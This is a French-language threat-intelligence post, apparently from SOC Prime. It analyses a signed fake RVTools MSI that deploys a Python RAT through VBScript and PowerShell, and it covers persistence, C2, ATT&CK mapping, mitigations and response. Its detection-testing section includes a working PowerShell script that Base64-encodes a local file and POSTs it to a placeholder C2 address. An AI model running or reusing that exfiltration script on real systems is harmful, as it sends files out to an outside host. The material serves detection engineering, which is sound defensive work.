SOC Prime Bias: Moyen

29 May 2026 07:20 UTC

RVTools Mascarade : Comment un Faux Installateur Signé Déploie un RAT Modulaire en Python

Author Photo
SOC Prime Team linkedin icon Suivre
RVTools Mascarade : Comment un Faux Installateur Signé Déploie un RAT Modulaire en Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un installateur MSI malveillant signé avec un certificat légitime se fait passer pour l’utilitaire RVTools utilisé par les administrateurs VMware. Une fois exécuté, l’installateur déploie un script VBScript qui lance PowerShell pour télécharger une grande archive ZIP depuis Dropbox. Cette archive contient un environnement Python portable qui exécute un RAT à plusieurs étapes capable de reconnaissance, de persistance et de communication avec des serveurs de commande et contrôle codés en dur.

Enquête

L’analyse a retracé le MSI à une action personnalisée de VBScript, Binary.MyScript.vbs, qui a décodé une commande PowerShell obfusquée. Cette commande a téléchargé une winp.zip charge utile dans %APPDATA%, a extrait des composants et scripts Python tels que collector.py and Pmanager.py, puis a établi la persistance par des clés de registre Run et une tâche planifiée après redémarrage. Les chercheurs ont également trouvé que le RAT cryptait les données collectées avec RC4 et communiquait avec cinq adresses IP fixes à des intervalles de cinq minutes.

Atténuation

Les organisations devraient appliquer une validation stricte de la signature de code avec des vérifications OCSP ou CRL en direct, bloquer l’exécution d’MSI non approuvés, et surveiller les actions VBScript personnalisées suspectes intégrées dans les paquets d’installation. Les défenseurs devraient également empêcher l’exécution automatique des scripts téléchargés, surveiller les nouvelles entrées de clés Run et la création de tâches planifiées, et alerter sur le trafic sortant vers des adresses IP inconnues codées en dur.

Réponse

Si cette activité est détectée, isolez immédiatement l’endpoint affecté, collectez le MSI, le VBScript et les fichiers de charge utile extraits pour analyse forensique, et supprimez tous les artefacts de persistance, y compris la clé Run et la tâche planifiée. Les adresses IP de commande et contrôle identifiées doivent être bloquées au niveau du pare-feu, et un examen plus large des informations d’identification et de l’activité Active Directory doit être effectué pour déterminer si un mouvement latéral a eu lieu.

"graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access["<b>Phase</b>: Accès Initial<br/><b>Action</b> – La victime exécute un MSI malveillant signé qui se fait passer pour RVTools."] class phase_initial_access phase phase_execution["<b>Phase</b>: Exécution<br/><b>Action</b> – MSI utilise Msiexec pour exécuter un VBScript qui lance un téléchargeur PowerShell caché."] class phase_execution phase phase_payload["<b>Phase</b>: Déploiement de la Charge Utile<br/><b>Action</b> – L’archive est décompressée dans un environnement WinPython portable contenant collector.py et manager.py."] class phase_payload phase phase_persistence["<b>Phase</b>: Persistance<br/><b>Action</b> – Le gestionnaire Python crée une clé de registre Run, une tâche planifiée et une entrée Active Setup."] class phase_persistence phase phase_c2["<b>Phase</b>: Commande et Contrôle<br/><b>Action</b> – Les données collectées sont archivées, cryptées avec RC4 et exfiltrées via HTTP POST vers des IP codées en dur."] class phase_c2 phase phase_evasion["<b>Phase</b>: Évasion Défensive<br/><b>Action</b> – Utilisation de binaires signés, exécution par proxy, et obfuscation des caractères pour contourner les détections."] class phase_evasion phase %% Techniques for Initial Access tech_user_execution["<b>Technique</b> T1204.002 Exécution par l’Utilisateur : Fichier Malveillant<br/>La victime exécute un fichier malveillant qu’elle croit légitime."] class tech_user_execution technique tech_masquerading["<b>Technique</b> T1036.001 Déguisement<br/>Le binaire est signé et nommé comme un utilitaire légitime (RVTools)."] class tech_masquerading technique tech_trusted_dev_proxy["<b>Technique</b> T1127 Exécution par Proxy d’Utilitaires de Développeurs de Confiance<br/>Le binaire signé est utilisé pour contourner les vérifications de réputation."] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy["<b>Technique</b> T1218.007 Exécution par Proxy de Binaires Système : Msiexec<br/>Msiexec est invoqué pour exécuter le MSI malveillant."] class tech_msiexec_proxy technique tech_vbscript["<b>Technique</b> T1059.005 Interpréteur de Commandes et de Scripts : Visual Basic<br/>Une action personnalisée lance une charge utile VBScript."] class tech_vbscript technique tech_powershell["<b>Technique</b> T1059.001 Interpréteur de Commandes et de Scripts : PowerShell<br/>VBScript décode et exécute une commande de téléchargement PowerShell cachée."] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom["<b>Technique</b> T1560.003 Archivage des Données Collectées : Archive via Méthode Personnalisée<br/>33u202fMB zip (winp.zip) est téléchargé et décompressé pour créer un environnement Python portable."] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run["<b>Technique</b> T1037.004 Scripts d’Initialisation de Démarrage ou de Session : Clef de Registre Run<br/>Une clé de registre Run est créée pour lancer manager.py au démarrage."] class tech_registry_run persistence tech_scheduled_task["<b>Technique</b> T1053 Tâche ou Emploi Planifié<br/>Une tâche planifiée quotidienne est créée pour s’exécuter avec des privilèges SYSTEM."] class tech_scheduled_task persistence tech_active_setup["<b>Technique</b> T1547.014 Exécution d’Autostart de Démarrage ou Connexion : Active Setup<br/>Une entrée Active Setup est ajoutée pour garantir l’exécution pour chaque utilisateur."] class tech_active_setup persistence tech_hijack_execution["<b>Technique</b> T1574 Détournement du Flux d’Exécution<br/>La tâche planifiée est utilisée pour détourner les chemins d’exécution normaux."] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted["<b>Technique</b> T1048.003 Exfiltration via un Protocole Non‑C2 Non Crypté<br/>Les données sont envoyées via HTTP POST à des adresses IP codées en dur."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["<b>Technique</b> T1048.002 Exfiltration via un Protocole Non‑C2 Crypté de Manière Asymétrique<br/>Les données sont cryptées avec RC4 avant la transmission."] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy["<b>Technique</b> T1216.002 Exécution de Script Système par Proxy : SyncAppvPublishingServer<br/>Les scripts de confiance agissent comme des proxies pour cacher l’activité malveillante."] class tech_system_script_proxy evasion tech_system_binary_proxy["<b>Technique</b> T1218 Exécution de Binaires Système par Proxy<br/>Les utilitaires signés (Msiexec) sont abusés pour contourner le contrôle des applications."] class tech_system_binary_proxy evasion %% Artifacts artifact_msi["<b>Artefact</b>: malicious_RVTools.msi<br/>MSI signé utilisé pour l’accès initial."] class artifact_msi artifact artifact_zip["<b>Artefact</b>: winp.zip<br/>Archive hébergée sur Dropbox contenant WinPython portable."] class artifact_zip artifact artifact_python_env["<b>Artefact</b>: Environnement WinPython<br/>Contient collector.py et manager.py pour la reconnaissance."] class artifact_python_env artifact artifact_registry_key["<b>Artefact</b>: Clé Registre Run<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["<b>Artefact</b>: Tâche Planifiée<br/>Nom: WinPythonDaily, s’exécute avec SYSTEM."] class artifact_scheduled_task artifact artifact_active_setup["<b>Artefact</b>: Entrée Active Setup<br/>HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["<b>Artefact</b>: Adresses IP C2<br/>Adresses IPv4 codées en dur contactées via HTTP."] class artifact_c2_ip artifact %% Connections phase_initial_access –>|uses| tech_user_execution phase_initial_access –>|uses| tech_masquerading phase_initial_access –>|uses| tech_trusted_dev_proxy phase_initial_access –>|delivers| artifact_msi tech_user_execution –>|exécute| artifact_msi tech_masquerading –>|enable| artifact_msi tech_trusted_dev_proxy –>|bypass| artifact_msi phase_execution –>|exploite| tech_msiexec_proxy tech_msiexec_proxy –>|exécute| tech_vbscript tech_vbscript –>|lance| tech_powershell tech_powershell –>|télécharge| artifact_zip artifact_zip –>|décompressé pour créer| artifact_python_env phase_payload –>|contient| artifact_python_env phase_persistence –>|crée| tech_registry_run phase_persistence –>|crée| tech_scheduled_task phase_persistence –>|crée| tech_active_setup phase_persistence –>|utilise| tech_hijack_execution tech_registry_run –>|écrit| artifact_registry_key tech_scheduled_task –>|crée| artifact_scheduled_task tech_active_setup –>|écrit| artifact_active_setup phase_c2 –>|archive et crypte des données| tech_archive_custom tech_archive_custom –>|envoie via| tech_exfil_unencrypted tech_exfil_unencrypted –>|utilise| artifact_c2_ip tech_exfil_unencrypted –>|utilise aussi| tech_exfil_asymmetric phase_evasion –>|applique| tech_system_script_proxy phase_evasion –>|applique| tech_system_binary_proxy tech_system_binary_proxy –>|facilite| tech_msiexec_proxy tech_system_script_proxy –>|facilite| tech_vbscript "

Flux d’Attaque

Exécution de la Simulation

Condition Préalable: Le Contrôle Avant Décollage de Télémetrie & Base doit être Passé.

Raison: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTP identifiés et visent à générer la télémetrie exacte attendue par la logique de détection.

  • Narration & Commandes de l’Attaque:
    Un adversaire qui s’est déjà établi sur la machine victime décide d’exfiltrer un petit jeu de données (par exemple, C:Tempsecret.txt). Pour éviter de déclencher des alertes de trafic sortant génériques, l’acteur utilise un PowerShell one‑liner qui exécute un HTTP POST directement vers une des adresses IP C2 codées en dur (192.0.2.10). La commande est planifiée via une Tâche Planifiée pour assurer la persistance (T1546.013). Aucun autre binaire n’est déposé, maintenant l’activité « vivre-de-la-terre ».

  • Script de Test de Régression:

    # -------------------------------------------------
    # Script PowerShell – Exfiltration des données via IP codée en dur
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Assurez-vous que le fichier existe (créer des données fictives pour le test)
    if (-Not (Test-Path $file)) {
        "données sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Lire le contenu du fichier et l'encodage en Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Effectuer le POST HTTP
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Tentative d'exfiltration envoyée à $c2Ip"
    } catch {
        Write-Error "Échec de l'exfiltration : $_"
    }
  • Commandes de Nettoyage:

    # Supprimer le fichier fictif
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Supprimer toute tâche planifiée créée pour le test (le cas échéant)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }